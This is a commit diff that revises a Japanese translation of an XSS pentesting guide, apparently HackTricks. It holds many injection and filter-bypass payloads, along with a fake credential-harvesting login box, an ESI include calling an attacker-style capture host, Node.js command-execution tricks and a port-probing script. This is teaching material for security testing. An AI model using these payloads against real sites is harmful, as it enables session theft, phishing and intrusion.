Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to

This commit is contained in:
Translator 2025-02-04 22:43:53 +00:00
parent 2a1c5a812a
commit 5df6781dac

View File

@ -20,7 +20,7 @@
3. **JavaScriptコード内**で:
1. `<script>`タグをエスケープできますか?
2. 文字列をエスケープして異なるJSコードを実行できますか
3. あなたの入力はテンプレートリテラル \`\` にありますか?
3. テンプレートリテラル \`\` に入力がありますか?
4. 保護を回避できますか?
4. 実行されているJavaScript **関数**
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
@ -35,7 +35,7 @@ debugging-client-side-js.md
## 反映された値
XSSを成功裏に悪用するために最初に見つけるべきことは、**あなたが制御する値がウェブページに反映されていること**です。
XSSを成功裏に悪用するために最初に見つける必要があるのは、**あなたが制御する値がウェブページに反映されている**ことです。
- **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。
- **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映される場合、**保存されたXSS**を悪用できるかもしれません。
@ -56,10 +56,10 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
1. **属性とタグから抜け出す**その後、生のHTMLにいることになります新しいHTMLタグを作成して悪用します`"><img [...]`
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている、タグに応じてJSコードを実行する**イベント**を**作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
4. あなたの入力が**「悪用できないタグ」**内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
クラス名を制御る場合のAngularによるXSSの奇妙な例
クラス名を制御している場合のAngularによるXSSの奇妙な例
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -70,7 +70,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグの間、`.js`ファイルの中、または**`javascript:`**プロトコルを使用した属性の中に反映されます:
- **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
- **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
- **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、**コードを実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できることを意味します。**\
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用することができます。**\
**詳細については、以下のページを確認してください:**
{{#ref}}
@ -92,13 +92,13 @@ js-hoisting.md
### Javascript Function
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。** 実際に見られる一般的な例は、`?callback=callbackFunc`のようなものです。
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります**。一般的な例として、`?callback=callbackFunc`のようなものがあります。
ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**例えば「Vulnerable」にで、コンソールで次のようなエラーを探すことです:
![](<../../images/image (711).png>)
脆弱性がある場合、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります**: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です****`[\w\._]`**)。
しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
**JSコード**が、攻撃者によって制御される**データ**を**安全でない方法**で使用しています。例えば、`location.href`。攻撃者は、これを悪用して任意のJSコードを実行することができます。
**JSコード**が、攻撃者によって制御される**データ**(例: `location.href`)を**安全でない**方法で使用しています。攻撃者は、これを悪用して任意のJSコードを実行することができます。
{{#ref}}
dom-xss.md
@ -150,7 +150,7 @@ server-side-xss-dynamic-pdf.md
## 生のHTML内に注入
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
この場合も、**Client Side Template Injection**を考慮してください[**Client Side Template Injection**](../client-side-template-injection-csti.md)**。**\
この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\
_**注: HTMLコメントは、`-->`または`--!>`を使用して閉じることができます。**_
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
@ -176,7 +176,7 @@ alert(1)
```
### ブラックリストバイパス
もし何らかのブラックリストが使用されている場合、いくつかの簡単なトリックバイパスを試みることができます:
もし何らかのブラックリストが使用されている場合、いくつかの簡単なトリックを使ってバイパスを試みることができます:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -233,17 +233,17 @@ onerror=alert`1`
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
```
最後のものは2つのUnicode文字を使用しており、5つに展開されます: telsr\
最後のものは、5つに展開される2つのUnicode文字を使用しています: telsr\
これらの文字の詳細は[こちら](https://www.unicode.org/charts/normalization/)で見つけることができます。\
どの文字が分解されているかを確認するには[こちら](https://www.compart.com/en/unicode/U+2121)をチェックしてください。
### Click XSS - Clickjacking
脆弱性を悪用するために**ユーザーにリンクやフォームをクリックさせる必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
脆弱性を悪用するために**ユーザーにリンクやフォームをクリックさせる**必要がある場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
### 不可能 - ダングリングマークアップ
**JSコードを実行する属性を持つHTMLタグを作成することは不可能だ**と思うなら、[**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを実行することなく脆弱性を**悪用**できるからです。
**JSコードを実行する属性を持つHTMLタグを作成することは不可能だと思う**場合、[**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを実行することなく脆弱性を**悪用**できるからです。
## HTMLタグ内へのインジェクション
@ -267,14 +267,14 @@ onerror=alert`1`
```
### 属性内
たとえ**属性から逃げることができなくても**`"`がエンコードされているか削除されている場合)、**どの属性**にあなたの値が反映されているかによって、**すべての値を制御しているのか、一部だけを制御しているのか**に応じて、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
もう一つの興味深い**例**は、属性`href`で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`**
たとえ **属性から逃げることができなくても**`"` がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかに応じて **すべての値を制御しているか、一部だけを制御しているか**によって、悪用することができます。**例えば**`onclick=` のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
もう一つの興味深い **例**は、属性 `href` で、`javascript:` プロトコルを使用して任意のコードを実行できることです: **`href="javascript:alert(1)"`**
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています)`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">戻る</a>`
HTMLタグ属性の値内の **HTMLエンコードされた文字**は **ランタイムでデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">戻る </a>`
**あらゆる種類のHTMLエンコードが有効であることに注意してください**
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -295,7 +295,7 @@ HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Unicodeエンコードを使用して内部イベントをバイパスする**
**Unicodeエンコードを使用した内部イベントのバイパス**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -377,7 +377,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
```javascript
<a target="_blank" rel="opener"
```
任意の**`<a href=`**タグに**`target="_blank"`**および**`rel="opener"`**属性を含むURLを注入できる場合は、この動作を悪用するために**次のページを確認してください**
任意の**`<a href=`**タグに**`target="_blank" and rel="opener"`**属性を含むURLを注入できる場合は、この動作を悪用するために**次のページを確認してください**
{{#ref}}
../reverse-tab-nabbing.md
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields): **隠し属性**内に**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
## JavaScriptコード内への注入
この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、`<script>...</script>`タグの間、JSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、`<script>...</script>`タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
### \<script>タグのエスケープ
@ -476,11 +476,11 @@ onbeforetoggle="alert(2)" />
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
この例では、**シングルクォートを閉じていない**ことに注意してください。これは、**HTMLの解析が最初にブラウザによって行われる**ためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。
この例では、**シングルクォートを閉じていない**ことに注意してください。これは、**HTMLの解析が最初にブラウザによって行われる**ためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。
### JSコード内
`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
`<>`がサニタイズされている場合でも、**文字列をエスケープ**し入力が**存在する場所**で**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -488,7 +488,7 @@ onbeforetoggle="alert(2)" />
```
### テンプレートリテラル \`\`
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルとして知られ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます:
これは次のように**悪用**できます:
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScriptの改行から** [**JavaScriptの改行**](#javascript-new-lines) **トリック**
**JavaScriptの改行から** [**JavaScriptの改行**](#javascript-new-lines) **トリック)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -624,7 +624,7 @@ console.log(arguments);
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
@ -672,11 +672,12 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**任意の関数alert呼び出し**
**任意の関数 (alert) 呼び出し**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -738,21 +739,21 @@ top[8680439..toString(30)](1)
```
## **DOMの脆弱性**
攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば`location.href`のように。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
**DOMの脆弱性に関する説明が長ため、** [**このページに移動しました**](dom-xss.md)**:**
攻撃者によって制御された**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
そこでは、**DOMの脆弱性とは何か、どのように引き起こされ、どのように悪用されるかの詳細な説明**が見つかります。\
また、**前述の投稿の最後に**、[**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのかそしてどのように悪用されるについての詳細な説明**が見つかります。\
また、**前述の投稿の最後に** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)に関する説明があることを忘れないでください。
### Self-XSSのアップグレード
### Cookie XSS
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメイン他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -766,9 +767,9 @@ dom-xss.md
### セッションミラーリング
self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ることになります。
self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ます。
あなたは**管理者にself XSSをトリガーさせ、彼のクッキー/セッションを盗む**ことができます。
あなたは**管理者にself XSSをトリガーさせ、彼のクッキー/セッションを盗む**ことができます。
## その他のバイパス
@ -783,7 +784,7 @@ self XSSを見つけ、ウェブページに**管理者用のセッションミ
### Ruby-On-Rails バイパス
**RoR マスアサインメント** により、HTMLに引用符が挿入され、その後引用制限がバイパスされ、タグ内に追加のフィールドonfocusを追加できます。\
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信した場合:
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信すると:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -823,24 +824,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
### 302レスポンスにおけるヘッダーインジェクションを用いたXSS
もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
[**このレポート**](https://www.gremwell.com/firefox-xss-302)[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`
[**このレポート**](https://www.gremwell.com/firefox-xss-302)[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`.
### Only Letters, Numbers and Dots
### 文字、数字、ドットのみ
もしあなたが **コールバック** を示すことができるなら、javascriptが **実行する** 文字はそれらの文字に制限されます。[**この投稿のこのセクションを読んで**](#javascript-function) この動作を悪用する方法を見つけてください
**コールバック**を示すことができる場合、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読む**](#javascript-function)ことで、この動作を悪用する方法を見つけることができます
### Valid `<script>` Content-Types to XSS
### XSSに対する有効な`<script>`コンテンツタイプ
[**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)もしあなたが `application/octet-stream` のような **content-type** でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:
[**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)スクリプトを`application/octet-stream`のような**コンテンツタイプ**で読み込もうとすると、Chromeは次のエラーを表示します:
> MIMEタイプapplication/octet-streamが実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') からスクリプトの実行を拒否しました。
> MIMEタイプ`application/octet-stream`が実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')からスクリプトの実行を拒否しました。
Chromeが **読み込まれたスクリプト** を実行するのをサポートする唯一の **Content-Type** は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) const **`kSupportedJavascriptTypes`** 内のものです。
Chromeが**読み込まれたスクリプト**を実行するのをサポートする唯一の**Content-Type**は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)のconst **`kSupportedJavascriptTypes`**内のものです。
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -864,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むために指定される可能性がありますか?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むためにされる可能性がありますか?
```html
<script type="???"></script>
```
@ -896,9 +897,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されることができるように使用されました。
この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、プリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
```html
<script type="speculationrules">
{
@ -923,7 +924,7 @@ import { partition } from "lodash"
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? リストにはありませんが、CTFでこれを見たと思います)
- text/plain (?? リストにはありませんが、CTFで見たことがあると思います)
- application/rss+xml (オフ)
- application/atom+xml (オフ)
@ -939,9 +940,9 @@ import { partition } from "lodash"
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### 特殊置換パターン
### 特殊置換パターン
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
@ -984,7 +985,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**この解説**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**このレポート**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、役立つオブジェクトを「無から」生成して、任意の信頼できないコードの実行を悪用することが可能です:
- import()を使用して
```javascript
@ -993,7 +994,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require`を間接的にアクセスする
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによってこのように関数内でラップされます:
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)モジュールはNode.jsによってこのように関数内でラップされます:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1046,9 +1047,9 @@ console.log(req("child_process").execSync("id").toString())
}
trigger()
```
### オブfuscation & 高度なバイパス
### Obfuscation & Advanced Bypass
- **1つのページ内の異なるオブfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **1ページ内の異なる難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1228,7 +1229,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS一般的なペイロード
## XSS一般的なペイロード
### 1つの中にいくつかのペイロード
@ -1358,11 +1359,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_短い時間は応答しているポートを示します_ _長い時間は応答がないことを示します。_
_応答しているポートは短い時間を示します_ _応答がない場合は長い時間を示します。_
Chromeで禁止されているポートのリストを[**こちら**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)で、Firefoxで禁止されているポートのリストを[**こちら**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)で確認してください。
### 資格情報を要求するボックス
### 資格情報を求めるボックス
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
@ -1473,7 +1474,7 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com)
```
### Regex - 隠れたコンテンツへのアクセス
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1508,7 +1509,7 @@ xss-in-markdown.md
### SSRFへのXSS
**キャッシングを使用しているサイト**でXSSを取得しましたかこのペイロードを使って**それをSSRFにアップグレード**してみてください:
**キャッシュを使用しているサイト**でXSSを取得しましたかこのペイロードを使用して**それをSSRFにアップグレード**してみてください:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1517,14 +1518,14 @@ xss-in-markdown.md
### 動的に作成されたPDFにおけるXSS
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして任意のJSコードを実行させる**ことを試みることができます。\
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、あなたはこの動作を**悪用**して**サーバーXSS**を引き起こすことができます。
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があります
HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があるかもしれません
{{#ref}}
pdf-injection.md
@ -1532,9 +1533,9 @@ pdf-injection.md
### Amp4EmailにおけるXSS
